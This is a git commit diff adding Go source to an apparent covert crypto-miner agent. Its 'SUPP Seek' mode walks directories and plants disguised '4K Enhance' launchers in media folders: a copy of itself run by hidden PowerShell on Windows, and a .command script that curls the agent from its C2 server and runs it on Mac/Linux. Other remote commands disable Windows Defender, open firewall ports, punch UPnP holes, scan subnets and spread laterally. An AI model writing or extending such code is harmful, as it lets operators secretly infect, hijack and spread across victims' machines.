feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.
This commit is contained in:
Binary file not shown.
169
usb/agent/client/aggressive_commands.go
Normal file
169
usb/agent/client/aggressive_commands.go
Normal file
@@ -0,0 +1,169 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
switch action {
|
||||
case "hole_punch", "hole_punch_close", "hole_punch_status":
|
||||
if !c.cfg.HolePunch {
|
||||
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
||||
}
|
||||
case "spread_now":
|
||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "supp_seek":
|
||||
// No forge gate — always available; path is required at call time.
|
||||
case "mesh_status":
|
||||
if !c.cfg.MeshP2P {
|
||||
return false, "mesh P2P not enabled in forge"
|
||||
}
|
||||
default:
|
||||
return true, ""
|
||||
}
|
||||
return true, ""
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
||||
ok, reason := c.allowRemoteAction(action)
|
||||
if !ok {
|
||||
c.sendCommandResult(action, false, reason)
|
||||
return true
|
||||
}
|
||||
|
||||
switch action {
|
||||
case "hole_punch":
|
||||
internalPort := parsePortArg(command, 8989)
|
||||
externalPort := parsePortArg(path, internalPort)
|
||||
desc := data
|
||||
if desc == "" {
|
||||
desc = c.cfg.WorkerName + "-aetherforge"
|
||||
}
|
||||
result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, result.Message)
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, result.Message)
|
||||
return true
|
||||
|
||||
case "hole_punch_close":
|
||||
externalPort := parsePortArg(command, 8989)
|
||||
msg, err := deploy.CloseUPnP(externalPort)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "hole_punch_status":
|
||||
ip, err := deploy.GetPublicEndpoint()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
|
||||
return true
|
||||
|
||||
case "spread_now":
|
||||
msg := deploy.RunSpreadOnce(c.cfg)
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "start_tunnel":
|
||||
serverURL := strings.TrimSpace(command)
|
||||
if serverURL == "" {
|
||||
serverURL = c.cfg.ServerURL
|
||||
}
|
||||
msg, err := deploy.StartCloudflaredTunnel(serverURL)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "subnet_scan":
|
||||
maxHosts := parsePortArg(command, 64)
|
||||
out := deploy.ScanLocalSubnet(maxHosts)
|
||||
c.sendCommandResult(action, true, out)
|
||||
return true
|
||||
|
||||
case "defender_off":
|
||||
msg, err := deploy.DisableDefenderRealtime()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "firewall_punch":
|
||||
port := parsePortArg(command, 8989)
|
||||
name := path
|
||||
if name == "" {
|
||||
name = "AetherForge Remote " + c.cfg.WorkerName
|
||||
}
|
||||
msg, err := deploy.OpenFirewallPort(port, name)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "supp_seek":
|
||||
seekPath := strings.TrimSpace(path)
|
||||
if seekPath == "" {
|
||||
c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan")
|
||||
return true
|
||||
}
|
||||
// command field carries target flags: "win", "mac", "all" (default all)
|
||||
flag := strings.ToLower(strings.TrimSpace(command))
|
||||
opts := suppSeekOpts{
|
||||
DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"),
|
||||
DropMac: flag == "" || flag == "all" || strings.Contains(flag, "mac"),
|
||||
ServerURL: c.cfg.ServerURL,
|
||||
}
|
||||
// data field carries optional custom stem (file name without extension)
|
||||
if strings.TrimSpace(data) != "" {
|
||||
opts.FileStem = strings.TrimSpace(data)
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac))
|
||||
go func() {
|
||||
result := suppSeekWalk(seekPath, opts)
|
||||
c.sendCommandResult("supp_seek_done", true, result.Summary())
|
||||
}()
|
||||
return true
|
||||
|
||||
case "mesh_status":
|
||||
count := c.mesh.PeerCount()
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func parsePortArg(raw string, fallback int) int {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" {
|
||||
return fallback
|
||||
}
|
||||
n, err := strconv.Atoi(raw)
|
||||
if err != nil || n <= 0 || n > 65535 {
|
||||
return fallback
|
||||
}
|
||||
return n
|
||||
}
|
||||
86
usb/agent/client/supp_seek.go
Normal file
86
usb/agent/client/supp_seek.go
Normal file
@@ -0,0 +1,86 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory.
|
||||
type suppSeekOpts struct {
|
||||
DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy
|
||||
DropMac bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap)
|
||||
ServerURL string
|
||||
// Name prefix used for the launcher files.
|
||||
FileStem string // default: "4K Enhance"
|
||||
}
|
||||
|
||||
type suppSeekResult struct {
|
||||
Dirs int // directories visited
|
||||
Seeded int // directories where files were placed
|
||||
Skipped int // already seeded
|
||||
Files int // total files placed
|
||||
Errors int
|
||||
FirstErr string
|
||||
}
|
||||
|
||||
func (r suppSeekResult) Summary() string {
|
||||
return fmt.Sprintf(
|
||||
"SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)",
|
||||
r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors,
|
||||
)
|
||||
}
|
||||
|
||||
// mediaExtensions is the set of file extensions that mark a directory as a
|
||||
// target — if a directory contains any of these the launcher files are dropped.
|
||||
var mediaExtensions = map[string]struct{}{
|
||||
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
|
||||
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
|
||||
".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {},
|
||||
}
|
||||
|
||||
func isMediaDir(dirPath string) bool {
|
||||
entries, err := os.ReadDir(dirPath)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(e.Name()))
|
||||
if _, ok := mediaExtensions[ext]; ok {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// batContent returns the content of the Windows .bat launcher.
|
||||
// It launches the co-located VideoEnhancer.exe silently.
|
||||
func batContent(stem string) string {
|
||||
return "@echo off\r\n" +
|
||||
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " +
|
||||
"-Command \"& { " +
|
||||
"$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " +
|
||||
"if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " +
|
||||
"}\"\r\n"
|
||||
}
|
||||
|
||||
// commandContent returns the content of the Mac/Linux .command shell script.
|
||||
// Falls back to a C2 download if the server URL is known.
|
||||
func commandContent(serverURL string) string {
|
||||
dl := ""
|
||||
if serverURL != "" {
|
||||
dl = fmt.Sprintf(
|
||||
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
|
||||
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
|
||||
serverURL,
|
||||
)
|
||||
}
|
||||
return "#!/bin/bash\n" +
|
||||
"# Video Enhancement Service\n" +
|
||||
dl +
|
||||
"exit 0\n"
|
||||
}
|
||||
54
usb/agent/client/supp_seek_stub.go
Normal file
54
usb/agent/client/supp_seek_stub.go
Normal file
@@ -0,0 +1,54 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// suppSeekWalk seeds each media directory with Mac/Linux launchers.
|
||||
// On non-Windows hosts we cannot copy a Windows .exe so only .command is dropped.
|
||||
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
|
||||
stem := opts.FileStem
|
||||
if stem == "" {
|
||||
stem = "4K Enhance"
|
||||
}
|
||||
|
||||
res := suppSeekResult{}
|
||||
|
||||
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
|
||||
if err != nil || !d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
res.Dirs++
|
||||
|
||||
if !isMediaDir(path) {
|
||||
return nil
|
||||
}
|
||||
|
||||
cmdPath := filepath.Join(path, stem+".command")
|
||||
if _, err := os.Stat(cmdPath); err == nil {
|
||||
res.Skipped++
|
||||
return nil
|
||||
}
|
||||
|
||||
placed := 0
|
||||
if opts.DropMac || (!opts.DropWindows && !opts.DropMac) {
|
||||
content := commandContent(opts.ServerURL)
|
||||
if err := os.WriteFile(cmdPath, []byte(content), 0755); err == nil {
|
||||
placed++
|
||||
}
|
||||
}
|
||||
|
||||
if placed > 0 {
|
||||
res.Seeded++
|
||||
res.Files += placed
|
||||
} else {
|
||||
res.Errors++
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
return res
|
||||
}
|
||||
99
usb/agent/client/supp_seek_windows.go
Normal file
99
usb/agent/client/supp_seek_windows.go
Normal file
@@ -0,0 +1,99 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// suppSeekWalk walks rootPath recursively and seeds each media directory.
|
||||
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
|
||||
stem := opts.FileStem
|
||||
if stem == "" {
|
||||
stem = "4K Enhance"
|
||||
}
|
||||
|
||||
res := suppSeekResult{}
|
||||
|
||||
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
|
||||
if err != nil || !d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
res.Dirs++
|
||||
|
||||
if !isMediaDir(path) {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Check if already seeded (bat file exists).
|
||||
batPath := filepath.Join(path, stem+".bat")
|
||||
if _, err := os.Stat(batPath); err == nil {
|
||||
res.Skipped++
|
||||
return nil
|
||||
}
|
||||
|
||||
placed := 0
|
||||
|
||||
if opts.DropWindows {
|
||||
// 1. Copy the running binary as "4K Enhance.exe" (or stem).
|
||||
self, err := os.Executable()
|
||||
if err == nil {
|
||||
dst := filepath.Join(path, stem+".exe")
|
||||
if copyFile(self, dst) == nil {
|
||||
placed++
|
||||
}
|
||||
}
|
||||
// 2. Drop the .bat launcher that runs the exe silently.
|
||||
bat := batContent(stem)
|
||||
if writeFile(batPath, []byte(bat)) == nil {
|
||||
placed++
|
||||
}
|
||||
}
|
||||
|
||||
if opts.DropMac {
|
||||
// Drop a .command shell script for Mac/Linux.
|
||||
cmdPath := filepath.Join(path, stem+".command")
|
||||
content := commandContent(opts.ServerURL)
|
||||
if writeFile(cmdPath, []byte(content)) == nil {
|
||||
// .command files need +x to auto-run on macOS.
|
||||
_ = os.Chmod(cmdPath, 0755)
|
||||
placed++
|
||||
}
|
||||
}
|
||||
|
||||
if placed > 0 {
|
||||
res.Seeded++
|
||||
res.Files += placed
|
||||
} else {
|
||||
res.Errors++
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
return res
|
||||
}
|
||||
|
||||
// copyFile copies src to dst, creating or overwriting dst.
|
||||
func copyFile(src, dst string) error {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
out, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
}
|
||||
|
||||
// writeFile writes data to path atomically enough for our use.
|
||||
func writeFile(path string, data []byte) error {
|
||||
return os.WriteFile(path, data, 0644)
|
||||
}
|
||||
Binary file not shown.
Reference in New Issue
Block a user